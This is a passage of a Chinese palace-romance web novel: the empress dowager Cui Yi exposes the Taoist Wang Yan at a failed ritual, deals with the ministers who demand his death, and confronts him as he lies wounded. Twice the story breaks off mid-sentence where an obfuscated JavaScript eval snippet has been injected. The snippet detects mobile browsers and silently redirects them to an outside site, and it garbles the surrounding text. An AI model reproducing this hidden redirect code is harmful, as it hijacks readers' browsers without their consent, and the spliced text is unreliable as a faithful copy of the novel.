他倒想问这究竟是何物,只这场面不允许,朝臣陆陆续续散去,探究的目光仍然朝此间投来,卫秀不得不□□局面,眉心拧成一团。 崔仪与净明道长站在一处,看着王厌被几个师兄带去院中歇息。 面对这一切变动,道长视若无睹,半点也不关心徒弟,只是将余下经抄缓缓置于坛中,行了个礼,依旧在闭目祈福。 见他如此,崔仪不由望向天色:“分明是掐算的日子,怎会遇到如此狂风,莫非是上苍见你滥竽充数,降下神罚?” 道长不以为然:“道家一向顺其自然,是他要作茧自缚,上苍何怪于我。” 这话让崔仪意外:“难道避世修心,清心寡欲,非你所言?” 道长冷哼道:“修心是为了看清自己,强人所难有何用。正所谓道法应天顺其自然,秋陵秋楚几人是修行多年后才戒斋戒欲,我从未不许幽玄触碰这些。” 言下之意,王厌自找苦吃,他也没辙。 “既然如此,不过是他咎由自取。”崔仪想起太傅面上的怒容,本该畅快,却笑不出来,“可惜今日的祭礼未成,择日再行吧。” 也没有更好的法子了,看热闹的众人都已远去,净明只看着坛中的火,微叹:“太后做这些事,所求为何?也是为了百姓?” 崔仪避而不答:“看来我与你所想大有不同。” 她与惜云回了院中,出了这等事,不必想也知外头众说纷纭。 庭院口请见的众臣站得乌泱泱,崔仪本不想理,可见到其中还有她族中的叔公及家眷,不得已将众人都请入堂内落座。 道观后宅院子不多,崔仪只不过在此暂住两日,只挑了个很小的院子,众臣一挤进来,不仅将堂内挤得满满当当,还你一言我一语吵得崔仪眉心直跳。 她连喝几口水才冷静下来:“依诸位之见,此事当如何?” 席上行礼,站起身定定道:“凉州连月大旱,今日行典礼祭祀,本是为了祈福!可王厌此人沽名钓誉,引起天怒,险些引火烧身,此举不仅蔑视天威,更将百官戏耍,无异于乱臣贼子,罪不容诛!” 崔仪摩挲着杯沿,不由道:“他固然有错,不过此罪未免过大。” “哼!”另有老臣道,“当今朝廷百废待兴,朝中上下一律奉行节俭,陛下登基后连朝服都不舍多备两套,可恨为这一场祭礼花出去的银两,如今付诸东流。此人弄虚作假之事心知肚明,过往数年,每月都是这样铺张,那王氏老贼借此缘由中饱私囊,实在可恨,此等谋害朝廷之举死不足惜。” “依诸位的意思,是要本宫将王厌押入牢中,即刻问斩?” “不错。” 最该问斩的应当是太傅,只可惜这个缘由说出来恐不能服众。 崔仪起身谢过:“多谢各位赐教,本宫已记下了。” 自出生起就引人侧目的王厌,被卷入这样的事中,注定不会有一个好结局。 纵然不死,也难逃其罪,无论他是否有心,只要他成了老太傅的傀儡,早晚会受牵连。 崔仪伤怀不已,送走众人,人还未坐下,崔明意又快步进了院中。 祭礼时,她随谢既站得稍远了些,又戴了幕篱,未看清祭坛上发生何事,只听说王三祭祀时引起火焰上身,又莫名被太傅动手,最后甚至晕了过去。 御前失仪就够丢人了,还在这样重要的节骨眼晕过去,崔明意心知这事蹊跷。 事后她见到诸位叔伯都来找姐姐,遂等在门外,人一走,她也跟着进院。 “姐姐,今日坛上发生何事?”崔明意忧心忡忡。 崔仪让她落了坐,不慌不忙道:“你且安心,与你的事并无牵扯,不过净明道长往后恐怕没有借口挑你的错。” 她想到那场面,犹感滑稽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14949093|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“今日身败名裂之人,不会是你。” 崔明意闻言缓了口气,整个人松懈下来。 “今日若不是姐姐让我去,还不知旁人如何议论我。” 崔仪能明白妹妹的处境,嫡女总是被人给予厚望,崔明意走到今日,每一步都有人望着、盯着。 “你行事应当更小心,往后得了空,常来我宫中坐坐,总闷在府中才容易胡思乱想。” 她这样说,崔明意反倒愣住了:“你不想知道我究竟做了什么,才让他这样说?” 崔仪摇了摇头:“无论你私底下做了多荒唐的事,旁人又不知晓。我决不允许他三言两语决定旁人的命,遑论你不仅是谢既的夫人,还是崔家女儿,我的妹妹。” 不仅为她,更是为自己。 崔明意讷讷道:“是,应当如此。” 她这会儿神气不起来,垂头丧气又坐了会儿,临走前,崔仪派出去打探消息的小太监回来,正巧与崔明意擦肩而过。 这个小太监是曹志的干儿子,有股子鬼机灵,三言两句就能套出人的话。 他步履匆忙,跪在地上行了个礼:“太后,奴才去问过,那王三只是受了惊惧过度昏过去,手臂上的伤也无碍。至于太傅,站着等了半刻就带着人马下了山。” “这样着急?没留下什么话?”崔仪问,“难不成就这样不管不问。” 小太监不敢妄议,只低着脑袋:“太傅甩袖离去,不留半句。” 即便只拿王厌当个幌子,这样做也未免绝情,崔仪从案边站起身:“陛下也在那边等着?带我过去。” 小太监连声应是,崔仪带着惜云和几个宫婢,往王厌的院中去。 这五年来他不曾更换院子,住的地方比其余弟子不知宽敞富裕几何,崔仪踏过门阶,立刻有人通报。 她抬起脸,卫秀果然站在院中被一干人围着,各怀鬼胎的臣子叽叽喳喳吵成一团,见她过来,卫秀如释重负,求救般唤了声:“母后。” 24. 痛楚 王厌的院落宽敞,站进这么些人竟也不拥挤,崔仪最先想到的是这个。 等卫秀走到她身边,她不冷不热地喊了声:“陛下。” 事发突然,卫秀张着口半晌,不知从何说起,好一会儿才道:“事发突然,坏了大事,前头道长那里如何说?” 众臣侧目,崔仪当着众人的面,镇定道:“本朝开国以来,一向是天佑顺遂,今不过是出些差错,祈福之事,再择日就是。” 她细细观察在场之人的面色变化,说起了紧要之事:“倒是王三公子,伤势如何?” 道观中有小药童守在门口,也有随行的御医相看,所说的话与太监打探一致。 “手臂上只是皮肉上,涂药之后已无大碍,至于昏迷,则是因惊吓过度,一时不得醒来。” 崔仪拧眉:“这样的小事就晕了过去,还不曾治他的罪。” 她话音刚落,立刻就有臣子道:“敢问太后,道长有何罪责?” 崔仪迎着说话那人看去,缓缓道:“太傅对外宣称王三仙童转世,才有出生时的天地异象,又称他清心寡欲不沾凡尘。几位先皇都因此待他不薄,银两倒是小事,屡次典礼都带着他。去年起宫中祸事横出,焉知不是因这样别有用心之人混入其中?今日被人发觉当真是假道士真名利,还不够问罪?” 人群中的臣子气不过,上前与她辩论:“王三郎生养于观中,自小悲天悯人不问凡尘,怎么会是心怀不轨之辈?不过是太后要借机发难,借此大做文章……” “你放肆!” 还不等崔仪开口,卫秀已先一步冷着脸让人将他擒住。 “太后军功在身,为国鏖战,王厌今日已被戳穿乃是滥竽充数之辈,你竟为此等宵小对朕的母后口出狂言。当初不过是因丰宣皇帝想求缘问道,才让这样的货色钻了空子,你身为朝臣,不为朝中的损失着想,胆敢口出妄言,是何居心?” 卫秀对侍卫使了个眼色,对崔仪不敬的臣子已被押了出去。 不仅没劝住太后,连崔仪的回话都未等到,卫秀已经先杀鸡儆猴。 被送出去的臣子不曾受到刑罚,崔仪平心静气道:“诸位在此等候,是等道长醒来,还是等此事如何收场?太傅已下了山,可见他都不在乎此事,你们何必阻拦。” 她不说倒好,这话一出,立刻有太监奔入院中,面对一群人的视线,小太监跪倒在地,磕磕绊绊道。 “陛下,太后!太傅他老人家下山时急火攻心,呕血晕了过去。” 崔仪只觉诧异:“当真?” 满庭院内的朝臣面色各异,这里大多都与太傅有几分交情,否则也不会等在此处问个结果,得知他昏厥,一时间场上氛围愈发压抑。 “派人将太傅送回府上,再让御医去看,”崔仪吩咐下去,“好生照料他。” 毕竟是老臣,无功无德还得念几分旧情。 崔仪说完此事,对着余下众人道:“不必围在此处了,都回去吧。” 众人不情不愿地告退,估摸着半路又要去太傅府上,崔仪只当不知。 先前吵吵嚷嚷的人群远去,此刻不过正午,天色阴沉,狂风灌入院中,四下无人出声说话。 卫秀站在崔仪身边,主动道:“母后想如何处置此事?” 崔仪兴致缺缺:“你是皇帝,自然你说了算。” 若当真如此,他何必处处受限?卫秀吞下这份苦涩,揣测着她的意思,谨慎道:“此事虽荒唐,但罪不至死,将他关起来就是。” 崔仪想起他在祭坛上问过的话:“陛下这会儿弄清楚了?有些话不可胡乱发问,要顾忌场合。” 那一点红色代表什么,卫秀方才在宫人们的只言片语中猜了出来,这会儿他的脸上浮现出极为复杂的神色:“儿子明白。” 崔仪察觉他古怪,多瞧了他几眼,卫秀只是低着脸,不知在苦思冥想什么。 外人都不在了,崔仪的眼神落到他腰间,想起先前妹妹发生的事,目色一凛。 卫秀只觉得面前一阵微风扑动,不待看清,崔仪已将他腰间佩剑抽出,横放于面前打量。 那是一把短剑,剑鞘上镶着宝石彩珠,粗细大小各有不同,色彩各异看得人眼花缭乱却不觉俗艳。 长度约有成人小臂长短,整个剑倒很有份量。 这是历朝皇帝在一位得道高僧处得过授礼的宝剑,崔仪将剑鞘翻来覆去看了半晌,长风滚入她的袖口,她另一只手轻轻一使力,剑身缓缓而出。 削铁如泥的剑,洁白似雪,光可鉴人。 如此阴沉的天,也能照出她的一双眸子,锐利的锋芒在暗沉的天色下似有若无。 崔仪极快地收剑,右手抓着剑鞘垂在身边,她看向卫秀:“陛下,这样锋利的剑,你若护不住,就不要带在身旁,否则只会惹出事端。此剑,我先替你收下。” 卫秀不知她为何对这把剑感兴趣,只是点了点下巴。 惜云将剑接过,寻了个系带,崔仪暂且佩在身上。 这会儿的院子里有了些药味,苦涩的气味在这狂风大作的庭院中更衬出几分凄惨。 煮给王厌喝的药,由御医亲自送来,见陛下与太后在此,索性将人请进了屋中。 这宽敞的院子里,正入眼帘的是个经堂,挂着三清像,室内宽敞并无门窗,只有垂纱收拢在一旁,王厌以往与她相见时,就会将垂帐散开,隔绝外头的日光。 经年过去,此地没什么变化,崔仪佯装对此居处不熟,跟着旁人走在后面,穿过经堂,掀开两道帘子,才是王厌的卧房。 房内有童子点了安神香,另有一小童在用蒲扇给他扇风。 御医见状大惊:“快停下,他本就受了惊,怎可再吹凉风?” 两小童对视一眼,放下扇子,抬脸道:“是那位太傅临走前吩咐的。” 看来太傅是真觉得丢脸,嫡孙的病痛伤寒都顾不上,崔仪心中失笑。 御医本着医者之心,摇头:“都是何处学来的歪门邪道,惊惧昏迷之人怎能受凉受风,快快退下。” 道观中的小童不怕宫里的人,两个孩子将扇子一丢,也懒得管这里,结伴外出嬉闹。 太监接过药碗,用勺子一点点喂药,崔仪直到此刻才见到昏迷中的王厌。 他盖着被褥,衣着完好,只有那只被火烧到的胳膊露在外头。 崔仪走近些,见那伤处发红但不见外伤,不由蹙眉:“这伤当真无事?” 若是事后发现溃烂毁坏,也不知王厌如何面对。 御医斩钉截铁道:“火势灭得快,只是躺着了,将这药膏小心涂抹月余就无事。” 崔仪放下心:“他何时能醒过来?” 这位御医是第一回给王厌诊脉,提到此事,言辞上颇为小心:“他身子不比常人,本就虚弱,又心伤恐惧,一时半会儿不愿醒来。” 卫秀听得直摇头:“不愿醒来?世上岂有这样的事,昏迷之人何来这份意志。” 不愿醒来……崔仪在心中念着这几个字,苦痛在心腔蔓延。 太医跪地道:“陛下息怒,臣不敢胡言,道长这时只是不愿醒来。” 崔仪又去看王厌的脸,他本就苍白的面色此刻更不好,下巴尖尖,不过病中少了些平日的倦怠与疏离,看着还顺眼些。 御医如此笃定,卫秀也不愿为难他,将老人家扶起,轻声道:“既然如此,好好说来就是,何故下跪。” 这样好脾性的皇帝久不曾有,御医感激涕零,药碗见了底,他又回去煎药。 房内只剩下崔仪与几个宫人,都是她的心腹,卫秀也不避讳什么。 “母后,你可知我为何不处死他?”他鼓起勇气。 崔仪莫名道:“此事就要处死,未免太轻率些,你先前不也是如此说的?” 卫秀不敢看她:“并非如此。我知晓太师那边的不肯放过王家人,儿子若执意要处死他,必能得到拥趸,但……但……我想知道母后为何对他这样……” 这问话很危险,崔仪与他对视,等着他说出口。 卫秀犹豫许久才想出那股别扭劲儿从何而来。 “母后待他很不一样。” 这种不一样无关权力,无关男女之事,卫秀只是本能地感到不安和迷茫,他不敢做更大胆的猜测,也不想。 崔仪颔首:“因为他是个很特殊的人,你未曾察觉么?” 卫秀回忆:“从前倒听说过他的名气,我只知他出生时天降异象,兰花反季而开,后又一直带着这股香气……可仅凭这些,怎配母后容忍他一再出格?” “这些名气传得远,对我而言却也是最不要紧的,”崔仪难得笑得轻松,“于我而言,此人的不同之处远不止于此。” 卫秀的心中已有十分不好的揣测。 他捏了捏袖口,指尖用力摩挲,许久才道:“母亲想将他押在何处?” 宫外的大牢条件苛刻,冬冷夏热,恶臭不堪,想必王厌住进去两日就一命呜呼。 宫内也有监牢,比起外头要好不少,但也黑压压不见天日。 崔仪认真想了一阵,这两处的环境与王厌以往的居所都不可比较,他住在宫内的监牢应当能活下来,只是宫牢离她的宫殿甚远,再加上牢内难免有肮脏和诡异臭味儿,崔仪打消了将他押入牢中的念头,她不想也不忍王厌变得又脏又邋遢。 “将他随便找个偏静的宫殿关起来就是。”崔仪体谅道,“他从没经过苦日子,一下子关进大牢,倒怕他想不开,再加上太傅年岁已高,再受什么刺激就未必能承住了。” 卫秀也不敢驳她的话,只道:“母后说得不错,若将老太傅逼死,外人不知如何编排。” 他让宫人们都退出去,屋子里静悄悄的,卫秀到这时,终于问出心中所想。 “只是母亲这样做,可有私心?” 崔仪面色微冷:“谁让你问的这些话?” 卫秀慌忙道:“不是的,并非他人授意。是我自个儿一直觉得母亲待他非比寻常,不舍杀他,也不舍他受苦……我……若是母亲有什么打算,我只想先通个气儿,往后也晓得该如何待他。” 他说得恳切,崔仪却久久不语。 她从来没有认真看过卫秀此人,这会儿直视他的双目,不免想起他年少时的模样。 乖巧的孩子长成了漂亮少年,纤丽的脸上桃花眼盛满急切之色,正在为他自己辩解。 是真是假,崔仪看不出来,也不想猜。 她只是说:“陛下是皇帝,国家之事,百姓之事,才是你应当操心的。至于王厌这样的卑贱之人,不值你费心费力。” 卫秀不敢再多言,只是颔首。 王厌的去留有了初步决断,只是他尚在昏迷中,也不好将病人就这样强行带回宫中,更别提太傅那边苏醒后恐怕还有后话,于是卫秀与崔仪在院外又等了半日。 期间,王厌并未转醒,但院中进进出出的人不少,崔仪几乎没有一刻能松懈。 净明道长将祭坛上的事情了却,收拾好散落的纸符与法器,重新掐算了日子。 他来到王厌的院子里,却不想进门看,只与崔仪道:“下回祭祀,不应当再出事了。” 崔仪:“道长与我说这话是何意?难不成我能左右?” 道长摆了摆手:“太后不必装糊涂,本道不在乎也不关切宫中之事,放眼往外看,多得是需要救助的百姓。” 他说得如此关怀百姓,崔仪是不信的:“道长若当真在乎,就不会纵容这些奸佞吃百姓的血肉。” “我一介道人,能拿这些老臣如何?力所能及之事,他们乐得行便,本道也不阻拦。” 递上来的单子比上回更简便,崔仪让惜云收下,并不多看。 “照你所说,王厌与这道家本无缘分。” 否则为何对这徒弟横挑鼻子竖挑眼,在外也不给面子,与王厌瞧起来十分生分。 倘若王厌的身份从一开始就是危言耸听,那就想得通了。 净明道长立在原地,枯瘦的手摸了把胡子,惋惜道:“太后说错了,他是个极有天赋的弟子,只可惜早早就亲缘尘俗给牵绊住,尽数毁去。” “有多早?” 不知她为何有此发问,净明道长迟疑:“五六岁吧。” 那就和她无关,不是她做的孽。 崔仪点了点头:“祭礼择日再办就是,道长可以放下心。” 来此的目的本就是为了此事,得了崔仪的准话,转身就走,从头至尾不曾关切王厌一句。 在净明道长眼中,王厌这种被族人的世俗毁去道心的孩子,大概很悲哀。 惜云让人搬了低案与软座来院子中,本想架个挡风的棚子,被崔仪出声制止。 她观天望地,让人拿酒来。 “难得一见如此猛烈的春风,也不扫兴,倒不如趁此时机好好观赏。” 有酒作伴,后面的事处理起来让她不那样头疼。 在原本的安排中,午间祭礼结束她就回宫,与今日本该上朝的臣子商议政事。 可诸位臣子大殿外等了许久才听闻出事的消息,一两个又因官职不高不敢来问,崔仪无奈让人骑马去请,把折子都带了回来。 卫秀试着想帮她:“母后今日起身得早,不如回去歇着,这些奏折儿子来批阅。” 崔仪摆手:“就是回去,也只怕是睁着眼难以入眠。” 旁人一向是说不动她的,卫秀心知肚明,但也没走,就在另一张小凳上写萧肃留给他的课业。 约莫半个多时辰,谁也没出声,只有偶尔的唤墨要茶声。 折子早就批完了,崔仪要了书看,道观里杂书不多,都是各种各样的经书,崔仪拿起一卷手抄翻阅,不知不觉喝了许多酒。 王厌的身子还不如老态龙钟的太傅,显然太傅比王厌醒得更早,不仅醒了过来,还修书一封给王厌,叫人骑马上山,紧赶慢赶地送过来,似乎是满腔怒火一刻都等不及要宣泄。 信送过来时,崔仪正靠在院中赏景,门下两个道童追逐嬉戏,卫秀穿着晨间的礼服奋笔疾书。 陛下和太后都在此处,那人愣在远处,慌忙行礼:“这……太傅命小人送信给道长……说是必须要由道长亲启。” “信放下就是,朕会转交。” 少帝的话在下人眼中可信度不高,尤其是太后也坐在一旁。 一个没有势力托举的少年皇帝和家族过于强大的太后,宫里是谁说了算,下人们心照不宣。 他将信放下,磕了两个头走远。 人还未走远,惜云就将信送到崔仪手中,其中信纸上的墨迹都不曾干透,草草用黄纸包起来就让人送上山。 崔仪打开之前顿了一刻,并非她良心发现,而是在心底与自己打赌这封信大致写了什么内容。 展开一看,果不其然洋洋洒洒写满问罪与斥责,王老太傅也不亏是老臣,嫡孙被人睡了这样丢人的事也好意思来信责难,洋洋洒洒写了两张纸,言辞虽不粗俗,但至亲说出“不肖子孙”“行如牲畜”这样的话还是太过分了些,想必王厌此生都不曾听过这样刻薄伤人的话语。 崔仪看着看着就忍不住轻叹,指尖捻起信纸,让惜云烧了去。 卫秀将这一幕看在眼中,他也不傻,多少能猜到那信上写的不是什么好话。 这样的老臣,活一辈子就是活个名头,可以接受王厌身死,却不能接受王厌早已没了贞洁。 王家人一向信任王厌,想破脑袋也想不通王厌何时与人行了那事,且定然是自愿,否则何不向族中人求救? 崔仪越想越觉着好笑,酒意正浓,让卫秀上前陪她一同饮些。 卫泠酒量很好,喝多了也不会失态,只会比平日亢奋些,文思如泉,更偏好在酒后作画。 他的儿子卫秀却不能喝,到底不是亲生的,习性多有不同。 勉强喝了些,卫秀就宿在这院子的偏房里。 今日睁眼到此刻,崔仪都不曾进食,后知后觉才意识到早已饥肠辘辘,幸而惜云早已让人从宫中送御膳来。 “惜云,好惜云,”崔仪如释重负地吐了一口气,“若不是你记着,我还得等好半天,再不然就是吃斋饭。” 惜云与另一个侍女为她布菜,笑道:“太后今日寅时起身,一直到此刻都不曾用膳,猜都能猜到。” 宫人快马加鞭带来的饭菜还热着,大大小小的食盒摆了一桌,崔仪吃得很慢,叫人去把卫秀喊起来吃。 “陛下也不进米粒,如何能行?” 她这样说,小太监跑去偏房,将还未入睡多久的卫秀给唤了起来。 或许是因自个儿起身时总心情不快,崔仪留心一眼卫秀起身时面色如何,见对方眼都睁不开,异常乖顺地跟着太监走到案前,甚至都没说话,好似睁着眼睡着了,用筷子夹了两口菜又昏昏欲睡。 “陛下今日几时起身?” 太监道:“陛下昨夜温书到丑时一刻,寅时刚过就起身梳洗,也不曾用膳。” 睡得比崔仪还少,让她没想到。 “陛下近来和萧肃先生学得如何?” 太监哪里懂这些,只说:“陛下勤勉刻苦,从不倦怠。” 既然请回来了,能学到东西是好,只是这也太累了。 崔仪本想劝他,转念想又不是她生的,道:“陛下如此好学,先帝在天之灵也能放下心。” 原本还困得厉害的卫秀在听见这话后,目色清明几分,大约是想起卫泠颇有感触。 他吃了几口,实在吃不下,也撑不住,回了他住的院中准备歇下。 将要入夜,崔仪也不好再多留,收起案上的书卷笔墨,正要离去,只听得道童跑出来:“幽玄道长醒啦!醒过来啦!” 这会儿将要戌时,正是春夜,明月将出,庭中树影幽幽,崔仪在风中笑了笑,让惜云将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14959843|158126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 御医请过来。 崔仪进去探望他,重重帘后,王厌一脸倦色地躺在软靠上,长发散乱开,唇瓣苍白,脸上几乎找不出一点血色,只有瞳仁漆黑,盯着他的那只手臂。 他的面容在夜色里隐现,脆弱的神色让他看起来随时会消逝。 见崔仪进来,那双眼平静无波,还不失礼节道:“太后,恕臣抱病,不能行礼。” 这样明显的生疏与清冷,好似又要跟她划清界限,崔仪站在原地不再上前,只问:“还痛不痛?” “重要么?”王厌牵了牵唇角,试图挤出一丝笑容,“太后得到了想要的,这已经足够。” 崔仪默道:“你又怎能知晓我心中所求?” 王厌实在没有气力说话,他勉力道:“无论如何,我已经没有什么可以再让你利用。” “我利用你?”崔仪念道,“我只是想与你在一起。” “为何?为何要与我在一起?” 崔仪真诚道:“因为我与你相处很快乐,我心中有你。” 王厌低低笑了:“你的爱倒真可怕啊,原来被你喜欢,要经历这样多痛苦的事……你会设计让你的丈夫颜面尽失么?你会设计让你的侍从受火焰灼烧吗?” 见崔仪答不出,他原本麻木的心又刺痛,言语愈发尖酸:“你不会这样做吧,说你从未爱过先帝,与他的恩爱之事却传遍天下;你说心中有我,我却受到了比奴才更苛刻的对待。” 他伤心地看着胳膊上的伤处,道童虽说按时涂药不会留疤,可这是他的血肉,他怎会不痛。 那日在她宫中,他鬼使神差说出那一颗红点如何伪装,就立刻被她想出了这一出诡计。 她的爱可以信任吗?她的话又有几句能听? 王厌后怕:“我不应该招惹你,也不应该与你有牵扯。事已至此,我身败名裂,不能为家中做任何事,族人也会抛弃我,我已没了价值,还请你高抬贵手放过我。” 似乎是伤心到了极致,泪也流不出,只是睁着双目,心神俱疲。 崔仪心中也不好受,她低声安慰:“我这样做,是在为你我二人谋划,若你族人一直不肯放你,即便留你在宫中也不踏实……他们并不爱你,对你只是利用,可知太傅方才传信对你说了什么话?比起他们,至少我是真的爱你。” 王厌听得想笑,讽刺道:“崔仪,你明白什么是爱吗?” 他从不曾这样连名带姓喊她,崔仪本能要翻脸,好不容易按捺住脾性,再开口也带了些火气:“我不爱你,那你族人对你的就是爱?在遇到我之前,你吃过一顿饱饭?爱你,会用木板夹着你的手!逼迫你冬天用冰水洗浴!你的族人将你当玩偶,当泥人,是我赋予了你新生……若这不算爱你吗,还怎么样才算?” 他的族人如何对他,无非是想要他一辈子都做外人眼中的仙人。 所以他不能吃饱,不能有喜怒,冬日用冰水洗沐是为了保持神思清明肌肤紧致,王厌又想起他饿极了去吃花的狼狈之状,喉间哽咽。 亲人之间,这是爱么?内心深处他明白崔仪的话没错,可他如果承认族人不爱他,那这世上还有谁在乎他。 崔仪还未说完:“你在不满什么,借此机会摆脱太傅对你的控制不好吗?你可知今日多少人上书要将你斩首问罪!我留你一命,留你在我身边,只是想和你好好在一块儿。” 情真意切,说得王厌哑口无言,原来如今他的命都是她给的。 他想感激,开口却是一句:“我为何要经历这些?” 王厌说不出那是什么滋味,他对崔仪感到恐惧和陌生:“从始至终,你都不曾爱过我,你爱的只有权力。” 只有不曾沾染过权力的人才能说出如此可笑的话语,崔仪都懒得驳斥。 她冷静道:“我知你今日受了委屈,但请你好好想想,就这样留在宫中,对外你是罪臣,对内你我二人尚可厮守。难不成真要闹得难看,将你的性命也夺去?实在不必为了争这一口气闹到如此地步。” 崔仪看向他的手臂:“我已算计好了不会出事,从头到尾,我没想害你。” 王厌不可置信地望着她:“你没想害我?如今众人皆知守宫砂不在,世人如何想我看我?” 他这样说,崔仪更觉莫名:“外人这样揣测你,我都不放在心上,要与你在一起,你究竟在不满足什么?待你病好,我就将你带回宫中,宫中将要修缮完毕,你想住在哪个院子里都好,我会时常去看你,和往常一样。” 曾经渴求的生活在如今成了催命符,王厌失色道:“不,我不想和你回宫里,我不知下一次又要经历什么。这一回是用火烧,下一回呢?你还有什么酷刑要用在我身上。” 崔仪见他这样恐惧,忍痛道:“我向你保证这是最后一回,如你所说,你已经没有可以让我利用的地方。” 王厌实在不聪明,直到此刻他也猜不出后半句话的真假,只要他还活着,一举一动就不可能与族人无关。 为什么偏偏是他?从前受人追捧是他,被她这样玩弄的也是他。 这些问题让他痛得喘不上气,御医还未到,崔仪关切上前:“你这是怎么了?就这样不愿随我回宫?” 这样的世道,有几对有情人能厮守到最后,崔仪固然知晓自己有错,可王厌为何从不体谅她的难处。 □□的伤口根本就算不得什么。 王厌不答话,只是不断地摇头。 这样抗拒的模样让崔仪怒意更甚,她强迫王厌与自己对视,那双眼终于含泪,崔仪看得心中一颤,别过脸将腰间的短剑递到王厌手中。 “皮肉之伤,你若是恨我,大可报复回来。”她替他抽出那把玄铁断剑,月色下,剑刃锋芒毕露,寒光照人。 王厌险险接住,望着她的修长的手臂,那上头有些陈年旧伤,或许是行军时留下,虽不严重,但仍然能窥见当年一二。 他是恨她的,恨她对他时好时坏,恨她明知手臂上的遮掩是他最难堪、最难以启齿的秘密还要将其昭告天下。 最让他无法释怀的,是那一日在她宫中,她装出一副伤心的模样,骗他再次交出真心,又毫不留情地利用。 他的名声毁了,族人也不一定还容得下他。 王厌自知失去了一切,如今除了崔仪,他没有任何支点倚靠。 罪魁祸首让他动手报复,王厌握着宝剑,刀刃已经贴到了她的小臂,却迟迟不忍用力,最后因为他指尖的轻颤,崔仪的胳膊上压出一道红痕,他以为那是血迹,慌忙将宝剑丢弃于地。 待看清那一眼只不过是错觉,他错愕地伸出去搓揉。 崔仪也惊讶:“你怎么将剑丢了?不是恨我么?既然要报仇,对我有怨,那就来吧。” “两清可以,想离开我,绝不可能。” 王厌只是反复看她的手上没有半点伤痕,意识到那是他关心则乱后,他先是低声发笑,随后不顾虚弱的身体,自嘲地大笑。 “不怪你,不怪你要这样利用我,”王厌含泪道,“是我自找的,我下不了手,也狠不了心恨你,一切都是我自找的。” 他为了说服自己,又道:“我也不想对你动手,若用你的方法来对待你,我岂不是成了与你一样可恶的人?我要你好好看着我经历的这些痛苦……” 崔仪看了眼地上被丢弃的宝剑,见他又哭又笑,心中复杂。 她酸痛于他的排斥,虽说是她有错在先,不能怪他,却还是不免难过。 又欣喜他对她下不了手,于是语气软了不少:“我知你今日气我不曾与你提前商量,这样的事以后再不会发生,回宫后你好好跟在我身边,我再也不会伤害你。” “王厌,你我二人好不容易到今日,不要再自欺欺人,我知你心中仍然有我。” 王厌已经平息许多,他没有精力和她再争吵辩论,重新躺回软靠上,他静默不语,看向窗外。 夜色渐浓,御医姗姗来迟,崔仪正等候在门外,御医向她行礼后进屋给王厌诊脉,这一回进去了许久也不曾出来,好一会儿才听见里头传来小心翼翼的问话。 “道长初醒来,怎的经脉如此紊乱,似是闷结于心,肝火大动……” 王厌沉默。 御医又继续道:“这身子实在太虚了,往后千万要小心调理,否则一点小病对你而言都危险得很。” 王厌依旧不说话,仿佛就打算用这样的态度抵抗什么。 御医给他仔仔细细看了好久,写方子时,他才恹恹道:“我何时能下床走动?” 御医算了算日子:“下床走动,过两日就可以,只不过是那你手臂上的伤处要仔细涂抹药膏,否则会留下疤痕。” 崔仪其实早已让人私底下准备上好的药膏,她想着回头告诉王厌,却不想听见里头王厌传来一点笑声。 仿佛是在自嘲般,他厌倦的嗓音落在崔仪耳中。 “留疤倒好,让我记住这痛苦。” 25. 手掌 人心是难以掌控的,王厌想不开,甘愿作践自己,旁人说了也无用。 崔仪在门外听见他这样说,手指无意识地轻抚门沿。 很久之后,她收手离去。 一地的月华被她抛到身后,崔仪迈入廊中暗处,穿过两道重帘才出回到大堂,走入院中。 春夜风寒,惜云追上来想给她添一件披风,崔仪没应,只是把薄薄的披风横搭在手上,就这样揣着回了院子。 院落中提前点了灯,崔仪回房刚用了些茶水,院中又来了人。 崔仪想也知道这几人是听说王厌苏醒的事,笑面相迎:“几位叔伯夜深还不歇下,倒是我的不对。” “为朝廷做事,不谈这些,”席上人蹙眉,“听说那王三已醒了过来,不如将他就地处决!” 饶是崔仪也差些一口气没上来,她咽下茶水,犹豫道:“杀他是小事,不过人大病初愈,事情也不曾问清楚,就这样动手,恐惹人议论。” “此时太傅虚弱,正是快刀斩乱麻的好时机,待他修养好身子回朝,又不知要找出多少缘由拖延。” 其言辞激烈果决,好像恨不能亲自提剑,当即将王厌的性命了结。 见他如此恳切,崔仪默然几息。 堂内各种意见都有,吵作一团。 成婚前,她就听说过朝中的一些事。 譬如历任几位皇帝总是半路头昏,想搞点劳民伤财的大举措,朝中臣子一看这如何是好,一两个都上书劝诫,上朝时也直言不讳,根本不怕死。 崔仪相信卫家的几任皇帝在初上位时都想做个明君,只不过这一家子的病史代代相传,一旦发病就不知能干出什么事,幸而发病的皇帝不那样较真。 好比如丰宣他爹曾经突发奇想要造一幢通天楼,千米高楼直入云霄,一有这个念头就夜半召内臣入宫,画起了稿纸。 当时的臣子们看见你那图纸后吓得说不出话来,面上稳住皇帝,只说待皇帝身子好了就立刻命人开工,实则连徭役都不曾征。 当年财政还没那样紧张,尚负担不起那样多百姓的餐食,若要造这样的楼,百姓为朝廷干活都得自己从家中备下干粮,稍贫困些的一家子就这样被活活逼死,此等事层出不穷,如何能让皇帝再造个通天楼呢? 于是众人哄着骗着,等皇帝身体好了,又道:“已命使臣前去选地,不日就好。” 